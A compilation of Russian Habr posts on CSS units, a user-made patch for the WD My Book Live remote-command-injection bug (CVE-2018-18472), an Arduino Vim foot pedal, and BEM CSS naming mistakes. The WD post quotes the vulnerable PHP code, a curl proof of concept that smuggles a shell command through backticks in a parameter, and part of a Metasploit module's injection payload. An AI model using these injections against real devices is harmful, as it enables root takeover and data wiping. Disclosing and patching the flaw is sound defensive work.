И опять никакой поддержки в браузерах.
### `cap`
Эта единица соответствует так называемой *cap-height*, или высоте прописной буквы. В спецификации [cap-height](https://drafts.csswg.org/css-values-4/#cap) примерно равна высоте прописной буквы латинского алфавита. Существует алгоритм для вычисления этой величины, в том числе для шрифтов, которые *не* включают буквы латинского алфавита, но в подробности вдаваться я не буду.
Это обусловлено и тем, что данную единицу ни с каким браузером пока использовать нельзя.
### А теперь поговорим о более специфичных единицах измерения...
Давайте рассмотрим старую спецификацию (Level 3) —несмотря на то, что она *должна бы* широко использоваться и поддерживаться, не все знают о некоторых ее составляющих.
### `turn` и родственные единицы измерения
Эта единица измерения чуть более известна по сравнению с остальными, поэтому начнем с нее.
Мы же использовали `deg` чтобы поворачивать объекты с помощью `transform`, так? Один `turn` равен 360 `deg`. Ничего сложного. Это весьма полезно для анимации (особенно для вращений на 360 градусов) и значений прогрессии, вычисленных в JavaScript.
Но это еще не все! В спецификации также указаны единицы `grad` и `rad`, соответствующие градам и радианам.
*Все* указанные единицы измерения поддерживаются во всех браузерах (в IE начиная с 9 версии), хоть я и не вижу реального применения для градов, а вот радианы могут непосредственно использоваться для тригонометрических функций JavaScript.
### `Q`
Поскольку эта единица измерения относится к Level 3, она бы *должна* поддерживаться всеми браузерами. На самом деле она поддерживается только в Firefox начиная со сравнительно недавно выпущенной версии 49 (от сентября 2016 года).
Итак, что такое `Q`? Это просто **0,25 мм** — четверть миллиметра.
Зачем понадобилась эта единица измерения? Оказывается, она используется в типографском деле. *В Японии*. А там, по всей видимости, вообще не используются ни точки, ни какие-либо другие единицы классической системы (и это, как мне кажется, прекрасно).
### Соотношение сторон
Хотя это не совсем единица измерения, но все же должна иметь точное значение, и считается мерой. Она выражается в виде двух положительных целых чисел, разделенных символом / (косой чертой, которая в Юникоде называется Solidus).
Где ее можно применить? Естественно, в медиазапросах! Пример:
```
@media screen and (min-aspect-ratio: 16/10) {
/* something for wide screens */
}
```
Хорошие новости: она поддерживается всеми браузерами! Ура!
### `Hz` и `kHz`
А это еще что? Мы же в школе проходили, что это единицы измерения *частоты*. При чем тут CSS?
Именно так, это единицы измерения частоты, а на момент написания статьи *не существует свойств CSS*, для которых требуется частота. И все же единицы измерения частоты определили. Зачем?
Скорее всего это сделали на случай, если появится спецификация модуля для синтеза речи или еще какого-нибудь звукового выхода. В то время разрабатывался [звуковой модуль CSS](https://www.w3.org/TR/CSS21/aural.html), в котором определялись свойства, связанные с частотой, но на свет этот модуль так и не появился.
На смену этому модулю пришел новый. Он совместим с Speech Synthesis Markup Language ([SSML, Языком разметки синтеза речи](https://www.w3.org/TR/speech-synthesis/)) и называется [CSS Speech](https://www.w3.org/TR/css3-speech). Он находится на стадии разработки, и опять определяет свойства, для которых нужны частоты (например, `voice-pitch`), но еще не готов.
Не сложно догадаться, что ни один браузер не поддерживает единицы частоты — ими все равно никак не воспользоваться.
### Планы на будущее
Уважаемый читатель, в заключении хотелось бы спросить, пользовались ли вы когда-нибудь или собирались ли воспользоваться единицами измерения выше? Может быть, вы собираетесь это сделать прямо сейчас?
> [](https://vps.today/)
>
> Заглядывайте на [VPS.today](https://vps.today/) — сайт для поиска виртуальных серверов. 1500 тарифов от 130 хостеров, удобный интерфейс и большое число критериев для поиска самого лучшего виртуального сервера.
>
>
>
> [](https://vps.today/) | https://habr.com/ru/post/421709/ | null | ru | null |
# Чего нам стоит репутация или пользовательский фикс для CVE-2018-18472 от NAS WD
О нашумевшей истории с стиранием данных с NAS от Western Digital можно почитать в посте [@ZlodeiBaal](/users/zlodeibaal): [Western Digital стер данные с большинства пользовательских NAS](https://habr.com/ru/post/564660/)
Здесь же будет об исправлении уязвимости, которой, как оказалось, 7 лет (2014), пусть Western Digital 3 дня назад отписались следующим параграфом:
> "Серия My Book Live была представлена на рынок в 2010-м, и эти устройства получили последнее обновление прошивки в 2015-м году.
>
> The My Book Live series was introduced to the market in 2010 and these devices received their final firmware update in 2015. [[1]](https://www.westerndigital.com/support/productsecurity/wdc-21008-recommended-security-measures-wd-mybooklive-wd-mybookliveduo)
>
>
17 часов назад пользователь [dracenmarx опубликовал следующие инструкции](https://community.wd.com/t/help-all-data-in-mybook-live-gone-and-owner-password-unknown/268111/415) для исправления ошибки с удаленным выполнением кода (RCE):
* Заходим по SSH и редактируем файл (например с nano):
* /var/www/Admin/webapp/includes/languageConfiguration.php
* Первое изменение, находим:
```
exec("sudo bash -c '(echo \"language {$changes["language"]}\">/etc/language.conf)'", $output, $retVal);
```
* Заменяем на:
```
if (!preg_match('/^[a-z]{2}_[A-Z]{2}$/', $changes["language"], $dummy)) return 'BAD_REQUEST';
exec("sudo bash -c '(echo '\"'\"".escapeshellarg("language {$changes["language"]}")."\"'\"'>/etc/language.conf)'", $output, $retVal);
```
* Второе изменение, находим:
```
exec("sudo bash -c '(echo \"language {$lang["language"]}\">/etc/language.conf)'", $output, $retVal);
```
Заменяем на:
```
if (!preg_match('/^[a-z]{2}_[A-Z]{2}$/', $lang["language"], $dummy)) return 'BAD_REQUEST';
exec("sudo bash -c '(echo '\"'\"".escapeshellarg("language {$lang["language"]}")."\"'\"'>/etc/language.conf)'", $output, $retVal);
```
Больше, по его словам, он похожих ошибок не нашел.
Ну что ж, элементарно ~~забыли~~ не знали, что надо экранировать параметры, которые будем выполнять прямиком в системе, да ещё из под sudo c sudoers. А может знали, но верили, что в переменных-то точно не будет ереси! Это я уж не буду ехидничать, что можно было вместо полноценного exec с внешними данными в командной строке, записать данные по STDOUT.
Всё бы было ничего, но dracenmarx под своим сообщением пишет, что уязвимость была известна с 2018-го года, так ведь? <https://cve.circl.lu/cve/CVE-2018-18472> (оригинальный [блог-пост от WizCase](https://www.wizcase.com/blog/hack-2018/))
> Western Digital WD My Book Live (все версии) имеет баг с удаленным выполением команд под рутом через метасимволы шелла в параметре language через /api/1.0/rest/language\_configuration. Может быть вызвано любым, кто знает адрес устройства.
>
>
Да, некрасиво, но пользователи — сами себе злые буратины. Устройство не на гарантии? — Выкидывайте. Сами WizCase приводят такой PoC:
```
curl -kX GET -d ‘bim=param`whoami`’ https:///panel/rest/configuration
```
> Так что WD знали о уязвимости в 2018-ом, что есть очень, очень большая дыра в безопасности, которая сотрёт все данные и ничего не сделали. А теперь, когда её эксплуатируют, делают вид, что удивлены. - [dracenmarx, 26 июня.](https://community.wd.com/t/help-all-data-in-mybook-live-gone-and-owner-password-unknown/268111/252)
>
>
Всё бы хорошо, если не дальнейшее копание самого dracenmarx:
> Пока искал информацию по CVE-2018-18472, обнаружил, что эксплоит был уже известен в марте 2014-го! ([WDMyCloud Command Injection CSRF](https://gist.github.com/phikshun/9655056)) Получается, эксплоит на иньекцию команд от рута был в онлайне пока MyBookLive ещё поддерживались и WD ничего не сделали?! - [dracenmarx, 26 июня](https://community.wd.com/t/help-all-data-in-mybook-live-gone-and-owner-password-unknown/268111/266)
>
>
Давайте посмотрим на этот код. Опубликован 20-го марта 2014г. Выполнен как модуль для Metasploit. Описание модуля и код:
> Name: WDMyCloud NAS Command Injection CSRF
>
> Description: This module exploits a command injection vulnerability in the web interface of the WDMyCloud NAS device, via CSRF. It will submit the CSRF request to RHOST, as well as wdmycloud and wdmycloud.local.
>
> DisclosureDate: 0 day, yo
>
>
То есть элементарно отсылаем запрос на 3 адреса, двое из них известны и статичны, и в теории должны в локальной сети идти прямиком на NAS, а третий адрес можно задать самому.
```
params = "format=xml&rest_method=PUT&language=" + Rex::Text.uri_encode("`#{payload.encoded}`")
...
Redirecting... Please Wait
==========================
```
Как видим, всё то же самое. Параметр language и вжух! 2014г.
Примечательно, что два других пользователя создали себе форки этого кода. 11 июня 2014-го и 29-го августа 2015-го. Утверждать, что о нём никто не знал... ну PR и не на такое способны :)
Получается, "неофициально", но [вполне находимо](https://www.google.com/search?&q=) (→ <https://gist.github.com/phikshun>) эксплоит был публично доступен 7 лет, самое позднее, когда WD получили официальный ~~пинок~~ репорт - 2018-ый. Но когда код пишется на тяп-ляп (или матерную форму сего выражения, иначе бы уязвимости не было), а задача поддержки — не ведение базы данных и введение причастных лиц в курс дела, то и получаем отписки типа:
> The vulnerability report CVE-2018-18472 affects My Book Live devices originally introduced to the market between 2010 and 2012. These products have been discontinued since 2014 and are no longer covered under our device software support lifecycle. We encourage users who wish to continue operating these legacy products to configure their firewall to prevent remote access to these devices, and to take measures to ensure that only trusted devices on the local network have access to the device.
>
> Western Digital takes the security of our customers’ data seriously, and we provide security updates for our products **to address issues from both external reports and *regular security audits.*** Additionally, we welcome the opportunity to work with members of the security research community through responsible disclosure to help protect our users. [...]
>
> - [с блога WizCase](https://www.wizcase.com/blog/hack-2018/)
>
>
Только обычные пользователи — не B2B, и вой и вонь поднять могут. И тогда вдруг репутационный ущерб появляется на сводках и диаграммах мудрых MBA, и неожиданно выделяется и время и деньги на безопасность и IT.
Странно только, что один единственный пользователь за пару дней не только создал патч, но и нашел всю историю по багу — то, чем должна была заняться сама многомиллиардная компания.
> Пока гром не грянет — мужик не перекрестится.
>
>
А потерпевшим можно только позавидовать, видно стирались просто файлы и TestDisk/PhotoRec вполне восстанавливает утраченное. Будь я злодеем — прошелся бы с dd, а будь хипстерским злодеем — openssl с публичным ключиком. Но не будем о плохом, его и так хватает:
> I got a quote for data recovery and it was $2,000 to $5,000. Unbelievable. - [mkennedy](https://community.wd.com/t/help-all-data-in-mybook-live-gone-and-owner-password-unknown/268111/272)
>
> Another affected user here in Canada. I had no idea there was an issue until I read the email from WD this afternoon. I checked the drive and sure enough, only the default folders were there. I unplugged the drive and here we are. I’m a hobby photographer, approximately 80,000 photos gone. I’m on the support chat waitlist, it’s been 11 seconds remaining for the past 20 minutes so I’m not holding my breath. - [damack604](https://community.wd.com/t/help-all-data-in-mybook-live-gone-and-owner-password-unknown/268111/416)
>
>
Обновление, 2 июля
------------------
Через [СМИ Western Digital сообщает](https://arstechnica.com/gadgets/2021/06/hackers-exploited-0-day-not-2018-bug-to-mass-wipe-my-book-live-devices/) о ещё одной уязвимости, где не проверялась авторизация при входе на одну из страниц: <https://nvd.nist.gov/vuln/detail/CVE-2021-35941> | https://habr.com/ru/post/564956/ | null | ru | null |
# Педалируем Vim
В этом посте пойдёт речь о широко известной в узких кругах педали для переключения Vim из **Normal mode** в **Insert mode** и обратно. Вдохновившись примерами подобных поделок на просторах сети, я решил сделать свой вариант, с преферансом и поэтессами.
#### Задача
Сделать педаль, представляющую собой USB HID-устройство, при нажатии и удержании которой печатается `i`, а при отпускании `Esc`.
#### Решение
Заказать китайскую педаль [PCsensor USB footswitch](http://pcsensor.com/index.php?_a=category&cat_id=41) и запрограммировать её соответствующим образом.
В теории всё кажется очень простым. Я заказал одну обычную USB-педаль, одну тройную педаль и одну механическую педаль с кнопкой без контроллера. Как только я получил посылку с педалями — сразу же столкнулся с суровой реальностью. Я не учёл того, что педаль PCsensor может работать только как **одна клавиша**. Это годится только для очень примитивных решений. Для нашей задачи необходимо наличие как минимум **двух клавиш**, причём, срабатывающих от разных событий. Это уже не говоря о том, что софт для программирования педалей доступен только под Windows. Под Mac и Linux педаль практически бесполезна, если вы не способны написать драйвер для конфигурирования этого устройства самостоятельно.
Александр Левчук, [разработкой](https://github.com/alevchuk/vim-clutch) которого я вдохновился, использовал грубый хак — он взял два оптических датчика от двух педалей и засунул их в один корпус. Один датчик срабатывает при нажатии и запрограммирован на `i`, а другой запрограммирован на генерацию `Esc` при отпускании. А поскольку каждый датчик — это самостоятельный USB HID-контроллер — его устройство занимает сразу два USB-порта компьютера! Плюсов от такого решения немного — для получения одной Vim-педали потребуется две обычных педали PCsensor, зато не нужно городить свой собственный контроллер.
Теперь, когда проблема изучена, можно приступить к решению. Итак: одна педаль, один датчик, один USB-провод и один контроллер, умеющий прикидываться USB HID-устройством. Искать даже ничего не пришлось. Я давно увлекаюсь Arduino и микроконтроллерами. В линейке плат Arduino есть версии [Leonardo](http://arduino.cc/en/Main/arduinoBoardLeonardo) на базе ATmega32u4 и [Due](http://arduino.cc/en/Main/arduinoBoardDue) на базе ARM-чипа Atmel SAM3X8E Cortex-M3, которые умеют работать как периферийное USB-устройство. Однако, обе платы слишком большие и их функции явно избыточны для нашей простой задачи. Начал искать микро-версии этих же плат.
Уже не помню какими путями наткнулся на решение [DF Robot Beetle](http://www.dfrobot.com/index.php?route=product/product&product_id=1075) и его китайский клон на [dx.com](http://www.dx.com/p/jtron-mini-controller-module-black-works-with-official-arduino-board-326521). Цена вопроса — около 10 долларов. Было решено заказать сразу три штуки.
Как видно на фото, контроллер имеет очень маленький размер, уменьшенное (по сравнению с Arduino) число контактов и никаких лишних выступающих элементов. При этом он обладает совместимостью с Arduino на программном уровне. Таким образом, я не только избавился от избыточности классической Arduino-платформы в пользу необходимой и достаточной компактности, но добавил новые фичи, свойственные этой платформе.
Всё! Осталось подсоединить к контроллеру оптические датчики педали, написать прошивку и аккуратно собрать устройство в корпус. Я просто подпаял уже существующий оптический сенсор педали к одному из входов Arduino (в данном случае D9). Нашёл на плате педали **+** и **-**, соединил их с Arduino и вывел сигнал от фотодиода на цифровой вход. На всякий случай отрезал заводскую микросхему-каплю на плате педали, чтобы не давала ложных сигналов.
К сожалению, я не буду расписывать здесь на множество экранов, какой проводочек куда подпаять, потому что это рискует закончиться тем, что мне придётся рассказывать, как включить паяльник и где купить олово. Для людей, умеющих пользоваться паяльником, всё довольно просто и очевидно.
#### Железо
1. [USB Foot Switch](http://pcsensor.com/index.php?_a=product&product_id=150) (PCsensor).
2. [DF Robot Beetle](http://www.dfrobot.com/index.php?route=product/product&product_id=1075), известный также как [Jtron Beetle](http://www.dx.com/p/jtron-mini-controller-module-black-works-with-official-arduino-board-326521).
3. Паяльник, опыт его использования и сопутствующие материалы.
4. Набор проводочков.
5. MicroUSB-шнур.
#### Софт
1. Педаль для Vim совместима с любой операционной системой, в которой работает USB-клавиатура и собственно Vim.
2. Для прошивки контроллера понадобится [Arduino IDE](http://arduino.cc/en/main/software). Эта оболочка запускается на трёх основных системах — Windows, Mac и Linux.
3. [Исходный код](https://github.com/foxweb/vim-pedal/tree/master/sources) прошивки. Просто откройте код в Arduino IDE, скомпилируйте и прошейте контроллер.
4. Для расширения возможностей педали и для реализации функций мыши — воспользуйтесь библиотекой [Mouse and keyboard](http://arduino.cc/en/Reference/MouseKeyboard).
Принцип работы прошивки до неприличя простой. Проверяется наличие сигналов на 9 выводе контроллера (переменная `buttonState`). Если сигнал меняется с 0 на 1 — педаль нажата, посылаем `Esc, i`. Если сигнал меняется с 1 на 0 — педаль отпущена, посылаем `Esc`. Наверное, не нужно объяснять, что перед `i` я тоже посылаю `Esc` для выхода из уже включенного режима Insert.
#### Сборка
1. Первый прототип. На фото слева — Arduino-контроллер, справа — плата контроллера и датчиков PCsensor. Три провода — это плюс, сигнал и общий. Нижний красный — плюс, верхний красный — минус, синий — сигнал.
2. Здесь мы пропускаем процесс прошивки контроллера при помощи Arduino IDE — это общее место. Исходник программы [доступен](https://github.com/foxweb/vim-pedal/blob/master/sources/vimpedal.ino). Для прошивки выбираем в настройках плату Leonardo и соответствующий USB-порт.
3. Попытка предварительной сборки педали с новым контроллером.
4. На удивление, всё заработало сразу и не потребовало наладки. Чуть не забыл сказать. Для сборки конструкции нам понадобится штекер разъёма microUSB, к которому я припаял штатный длинный шнур от педали. Для людей, умеющих держать в руках паяльник, модификация шнура не должна стать проблемой.
5. Внешний вид готового решения.
#### Демонстрация
#### Дополнительные особенности
Стоит перечислить неочевидные особенности моего решения:
1. Можно менять логику работы педали на лету, не отключая и даже не доставая педали с её места.
2. Добавлять ввод целых строк и кусков текста.
3. Использовать почти все программные возможности Arduino (но не забываем об ограниченности внешних контактов на плате).
4. Можно написать софт на стороне компьютера, который будет пересылать контроллеру контекст приложения, а педаль будет изменять режим работы.
5. Можно добавить простейшую пищалку, размером с таблетку, чтобы добавить звуковую индикацию (например, для слабовидящих).
6. Можно настроить педаль так, чтобы она исполняла функции мыши. Причём, не ограничиваясь только мышиными кнопками.
7. И наконец киллер-фича — легендарный [мигающий светодиод Arduino](https://www.google.ru/search?q=мигающий+светодиод+Arduino&oq=мигающий+светодиод+Arduino)! (в данном проекте не используется)
#### Что дальше?
1. Дальше хотелось бы собрать трёхпедальную версию устройства. Может быть тоже для Vim, может быть для других приложений (Sublime Text, Atom). Для такого решения также понадобится всего один Arduino.
2. Bluetooth-версию педали можно реализовать на контроллере [Bluefruit EZ-key](https://www.adafruit.com/products/1535). Честно говоря, я на нём и хотел сделать педаль изначально. Представляете, как офигенно было бы иметь беспроводную педаль! Но увы, из-за проблем с доставкой в Россию, эту деталь практически невозможно заказать ни на Adafruit, ни на Amazon (я узнавал). Если кому-то удастся это сделать — обязательно напишите мне.
#### Ссылки
* [vim-clutch](https://github.com/alevchuk/vim-clutch) Александра Левчука.
* [USB Foot Switch](http://pcsensor.com/index.php?_a=product&product_id=150) тайваньской фирмы PCsensor.
* [DF Robot Beetle.](http://www.dfrobot.com/index.php?route=product/product&product_id=1075)
* [Jtron Beetle](http://www.dx.com/p/jtron-mini-controller-module-black-works-with-official-arduino-board-326521).
* [Arduino Leonardo](http://arduino.cc/en/Main/arduinoBoardLeonardo).
* [Arduino IDE](http://arduino.cc/en/main/software).
* [Библиотека Mouse and Keyboard](http://arduino.cc/en/Reference/MouseKeyboard) для Arduino.
* [GitHub-репозиторий](https://github.com/foxweb/vim-pedal) проекта.
В комментариях принимаются идеи по дальнейшему развитию проекта. Спасибо за внимание! | https://habr.com/ru/post/232177/ | null | ru | null |
# Сражаясь с БЭМ: 10 основных ошибок и как их избежать
*Не важно, узнали ли вы о БЭМ только сейчас, или следите за ним с самого начала, вы, возможно, уже оценили столь полезную методологию. Если вы не знаете, что такое БЭМ, я рекомендую прочитать вам об этом на [сайте БЭМ](https://ru.bem.info) перед тем, как продолжить чтение этой статьи, потому что я буду использовать термины, которые предполагают базовое понимание этой CSS методологии.*
Эта статья нацелена на людей, которые уже используют БЭМ и желают использовать его более эффективно, а также на тех, кто хочет узнать о нем больше.
Сейчас у меня нет никаких сомнений о способе называть вещи. Единственное, что отталкивало меня на протяжении длительного времени, — это уродливый синтаксис. Дизайнер внутри меня не хотел загромождать мою шикарную разметку ужасными двойными подчеркиваниями и дефисами.
Разработчик во мне смотрел на это прагматично. И, в конечном счете, модульный способ построения пользовательского интерфейса перевесил правую сторону моего мозга, которая утверждала: "Но он недостаточно хорош!". В таких случаях, я предпочитаю функциональность над внешней формой. В любом случае, хватит пустых разговоров. Представляю вашему вниманию 10 проблем, с которыми я поборолся и несколько советов, как разрешить их.
### 1. "Что делать с "внучатыми" селекторами (и не только)?"
Для ясности, внучатый селектор используется, когда вам нужно обратиться к элементу, вложенному на два уровня. Эти плохие мальчики — проклятье моей жизни, и я уверен, что это одна из причин, по которой у людей появляется немедленное отвращение к БЭМ. Приведу пример:
```
Title text here
---------------
Lorem ipsum dolor sit amet, consectetur
Adipiscing elit.
[Pellentesque amet](/somelink.html)
```
Как вы могли заметить, имена могут быстро выйти из под контроля и, чем больше вложенности, тем безобразнее становится имя класса элемента. Я использовал короткий блок с названием `c-card` и короткие имена `body`, `text`, `link`, но попробуйте представить, что получится, если первоначальный блочный элемент будет назван `c-drop-down-menu`.
Я считаю, что двойное нижнее подчеркивание должно появляться только однажды, в имени селектора. БЭМ расшифровывается как `Блок_Элемент--Модификатор`, а не `Блок__Элемент__Элемент--Модификатор`. Также избегайте многоуровневого наименования элементов. Если у вас получаются уровни пра-пра-пра-правнуков, то, вероятно, вам стоит пересмотреть структуру компонентов.
Именование БЭМ не привязано строго к DOM, так что не имеет значения на скольких уровнях находится вложенный элемент. Соглашение об именах в первую очередь помогает вам увидеть отношения с блоком на верхнем уровне — в нашем случае, `c-card`.
Как бы я рассматривал один и тот же карточный компонент:
```
Title text here
---------------
Lorem ipsum dolor sit amet, consectetur
Adipiscing elit.
[Pellentesque amet](/somelink.html)
```
Это значит, что все вложенные элементы будут затронуты только карточным блоком. Также, мы бы могли переместить текст и изображения в `c-card__header` или даже внести новый элемент `c-card__footer` при этом не ломая семантической структуры.
### 2. "Какие наименования использовать?"
К этому времени вы возможно заметили использование `c-` в моих примерах. Этот префикс расшифровывается как "компонент (component)" и лежит в основе всех имен моих БЭМ классов. Идея позаимствована из [техники наименований](http://csswizardry.com/2015/03/more-transparent-ui-code-with-namespaces/) Гарри Роберта, которая улучшает читаемость кода.
Система, которую я принял, и множество префиксов, которые будут встречаться в примерах в этой статье:
| Тип | Префикс | Примеры | Описание |
| --- | --- | --- | --- |
| Компонент (Component) | `c-` | `c-card`, `c-checklist` | Формируют основу приложения и содержат всю косметику для отдельных компонентов. |
| Модуль макета (Layout module) | `l-` | `l-grid`, `l-container` | У этих модулей нет никакой косметики, используются только для позиционирования компонентов `c-` и для построения макета приложения. |
| Помощники (Helpers) | `h-` | `h-show`, `h-hide` | Эти классы имеют одну функцию, часто используют `!important` для повышения их специфичности. (В основном используются для позиционирования или видимости.) |
| Состояния (States) | `is-`, `has-` | `is-visible`, `has-loaded` | Показывают различные состояния, которые могут быть у компонентов `c-`. Более детальное описание можно найти ниже в 6 проблеме. |
| JavaScript хуки | `js-` | `js-tab-switcher` | Они указывают на то, что поведение JavaScript привязано к компоненту. Стили с ними не ассоциируются; используются только для облегчения манипуляций со скриптами. |
Я обнаружил, что подобные имена невероятно улучшили читаемость моего кода. Даже если у меня не получится подсадить вас на БЭМ, то этот прием определенно стоит запомнить.
Вы бы могли также взять и другие префиксы, такие как `qa-` для тестов на качество (quality-assurance), `ss-` для различных хуков на стороне сервера (server-side) и т.д. Но список выше — уже хорошее начало, и ввести новые имена вы можете после того, как освоитесь с этой техникой.
Вы увидите хороший пример использования этого стиля наименований в следующей проблеме.
### 3. "Как мне называть врапперы (wrappers)?"
Некоторые компоненты требуют родительского враппера (или контейнера), который задает макет дочерним элементам. В этих случаях, я всегда пытаюсь абстрагировать макет в модуль макета, такой как `l-grid` и добавлять каждый компонент как содержимое `l-grid__item`.
В нашем карточном примере, если бы мы хотели расположить список из четырех `c-card`ов, я бы использовал следующую разметку:
```
* […]
[…]
* […]
[…]
* […]
[…]
* […]
[…]
```
Теперь у вас должно быть твердое представление о том, как расположение модулей и имена компонентов должны сочетаться вместе.
Не бойтесь использовать немного более продвинутой разметки, дабы потом у вас не было головной боли. Никому не станет лучше от того, что вы сократите пару тегов!
В некоторых ситуациях, это невозможно. Если, например, ваша сетка не собирается вас слушаться, или вы просто хотите какое-нибудь имя со смыслом для вашего родительского элемента, то что вам делать? Я, как правило, выбираю слово `container` или `list`, в зависимости от ситуации. Применяя это к нашему карточному примеру, я бы мог использовать `[…]` или `[…]`, в зависимости от используемого случая. Главное — соответствовать вашему соглашению об именовании.
### 4. "Кросскомпонентные… Компоненты?"
Еще одна часто встречающаяся проблема — компоненты, чьи стили или позиционирование затрагиваются родительским контейнером. Различные решения этой проблемы [детально описаны у Simurai](http://simurai.com/blog/2015/05/11/nesting-components). Я вам расскажу только о том подходе, который я считаю самым эффективным.
Вкратце, давайте предположим, что мы хотим добавить `c-button` в наш `card__body` из предыдущего примера. Эта кнопка уже является его компонентом и оформлена так:
```
Click me!
```
Если у вас нет никаких различий между обычным компонентом кнопки, то тогда проблем нет, мы просто переместим ее вот так:
```
Title text here
---------------
Lorem ipsum dolor sit amet, consectetur
Adipiscing elit. Pellentesque.
Click me!
```
Однако, что происходит, когда присутствуют небольшие различия в стилях — например, мы хотим ее немного уменьшить, закруглить углы, но только тогда, когда она является частью компонента `c-card`?
Кросскомпонентный класс показался мне наиболее надежным решением:
```
Title text here
---------------
Lorem ipsum dolor sit amet, consectetur
Adipiscing elit. Pellentesque.
Click me!
```
Это то, что [известно на сайте БЭМ](https://en.bem.info/forum/4/), как "микс (mix)". Однако, я изменил свое отношение к этому подходу, следуя некоторым замечательным комментариям от Esteban Lussich.
В примере выше, класс `c-card__c-button` пытается изменить одно или несколько существующих свойств `c-button`, но зависит от источника вызова (или даже от специфики), для успешного применения. Класс `c-card__c-button` будет работать только в том случае, если он определен после блока `c-button`, который может быстро выйти из под контроля, если вы будете строить больше таких кросскомпонентов. (Полагаться на `!important`, конечно, можно, но я бы не стал!).
Оформление по настоящему модульного UI элемента должно быть полностью независимо от родительского контейнера — оно должно выглядеть одинаково независимо от того, где вы его расположите. Добавление класса из другого компонента для задания стиля, как это делает способ с "миксами", нарушает открытые/закрытые принципы компонентно-ориентированного дизайна — т.е., не должно быть никакой зависимости от другого модуля для эстетики.
Лучше всего, это использовать модификатор для этих небольших косметических различий, потому что вы легко сможете использовать их снова по мере роста вашего проекта.
```
Click me!
```
Даже если вы не используете эти дополнительные классы снова, по крайней мере, вы не будете привязаны к родительскому контейнеру или к исходному порядку для применения изменений.
Другой способ — пойти к вашему дизайнеру и сказать ему, что кнопки должны быть совместимы с остальными, и избегать этой проблемы вообще.
### 5. "Модификатор или новый компонент?"
Одна из самых больших проблем — решить, где компонент заканчивается, и начинается новый. В примере с `c-card`, вы бы могли создать другой компонент, названный `c-panel` с очень похожими атрибутами стилей, но с очень заметными различиями.
Но что определяет необходимость использования двух компонентов, `c-panel` и `c-card`, или простого модификатора для `c-card`, который применяет уникальные стили.
Можно легко переполнить проект модулями и сделать все в виде компонентов. Я рекомендую начать с модификаторов, если вам покажется, что управление каким-либо компонентным CSS файлом становится слишком сложным, то, возможно, наступило время разделить некоторые модификаторы. Хороший показатель, когда вам приходится сбрасывать все у блока CSS для стилизации нового модификатора — это, как по мне, самое время для создания нового компонента.
Лучше всего, если вы работаете в команде других разработчиков или дизайнеров, узнать их мнение. Соберите их на несколько минут и обсудите с ними. Несмотря на то, что этот ответ скорее выглядит как отмазка, для больших приложений очень важно понимать, какие модули доступны и что собой представляет компонент.
### 6. "Как управлять состояниями?"
Это довольно распространенная проблема, особенно, когда вы стилизуете компонент в активном или открытом состоянии. Давайте скажем, что наши карточки пребывают в активном состоянии; так вот, когда мы нажимаем на них, они выделяются красивой обводкой. Что насчет названия этого класса?
У вас два варианта: или использовать хук автономного состояния, или использовать БЭМ-подобное именование модификатора на уровне компонента:
```
[…]
[…]
```
Не смотря на то, что мне нравится идея использовать имя БЭМ для единообразия, преимущество автономного класса в том, что он позволяет использовать JavaScript для применения универсальных хуков состояния к любому компоненту. Когда вам приходится применять определенный класс состояния, основанный на модификаторе с помощью скрипта, это становится более проблематичным. Это, конечно, возможно, но требует написания дополнительного JavaScript кода.
Имеет смысл придерживаться стандартного набора хуков состояния. [Крис Пирс собрал хороший список](https://github.com/chris-pearce/css-guidelines#state-hooks), который я рекомендую посмотреть.
### 7. "Когда лучше не добавлять новый класс к элементу"
Я могу понять людей, которые перегружены огромным числом классов, требуемых для построения сложной части пользовательского интерфейса, особенно, если они не присваивали класс каждому тегу.
Обычно я прикрепляю классы ко всему, что должно быть стилизовано, по разному, в контексте компонента. Я часто оставляю теги `p` без класса, если компонент не требует, чтобы они выглядели по-особенному в этом контексте.
Согласен, это будет обозначать то, что ваша разметка будет содержать множество классов. Но, в конечном счете, ваши компоненты будут способны жить независимо и смогут перемещаться без побочных эффектов.
Ввиду глобального характера CSS, присвоение класса ко всему дает нам полный контроль над рендером. Первоначальный дискомфорт стоит преимуществ полностью модульной системы.
### 8. "Как вкладывать компоненты?"
Допустим. что мы хотим отобразить чек-лист в нашем компоненте `c-card`. Пример того, как не стоит это делать:
```
Title text here
---------------
I would like to buy:
* Apples
* Pears
```
У нас тут есть несколько проблем. Первая — двухуровневый селектор, о котором мы узнали в первом разделе. Второе — все стили, примененные к `c-card__checklist__item`, относятся только к этому конкретному случаю, из-за чего их нельзя использовать снова.
Я предпочитаю разбить список на модуль разметки, предметы чек-листа на их собственные компоненты, что позволяет использовать их самостоятельно в другом месте. Это позволяет вернуться нашему префиксу `l-` к игре:
```
Title text here
---------------
I would like to buy:
* Apples
* Pears
```
Это спасает вас от необходимости повторять эти стили, а также значит, что мы можем использовать `l-list` и `c-checkbox` в других местах нашего приложения. Это требует немного больше разметки, но взамен мы получаем читаемость, инкапсуляцию и возможность повторного использования. Возможно, вы заметили, что это — основные темы!
### 9. "Не появятся ли у компонентов миллион классов?"
Некоторые считают, что множество классов на элемент — плохо, и, также, могут добавиться `--модификаторы`. Лично мне это не кажется проблемой, потому что это делает код более читаемым, и я точно знаю, что он должен делать.
Пример из четырех классов, с помощью которых стилизуется кнопка:
```
Click me!
```
Я понимаю, что этот синтаксис немного уродлив, но он понятный.
Однако, если от этого у вас начинает болеть голова, вы можете взглянуть на [технику Сергея Зароуски](http://webuniverse.io/css-organization-naming-conventions-and-safe-extend-without-preprocessors/#To_extend_or_not_to_extend?). Проще говоря, нам нужно использовать `.className [class^="className"], [class*=" className"]` в таблице стилей для имитации дополнительной функциональности. Если этот синтаксис кажется вам знакомым, то это потому, что [Icomoon](https://icomoon.io/) использует похожий способ для управления селекторами иконок.
С этой техникой, ваш код может выглядеть примерно так:
```
Click me!
```
Я не знаю, намного ли снижение производительности при использовании `class^=` и `class*=` больше, чем при использовании индивидуальных классов, но в теории, это классная альтернатива. Для себя мне хватает варианта с несколькими классами, но мне кажется, что этот способ определенно заслуживает упоминания для тех, кто предпочитает альтернативу.
### 10. "Можем ли мы изменить реакцию типа компонента?"
Эту проблему поставил мне Arie Thulank, и к которой я пытался найти 100% решение.
Примером может быть выпадающее меню, которое превращается в набор вкладок в заданный момент, или закадровая боковая навигация, которая превращается в панель меню.
По сути, у одного компонента могут быть два разных состояния, продиктованных медиа-запросом.
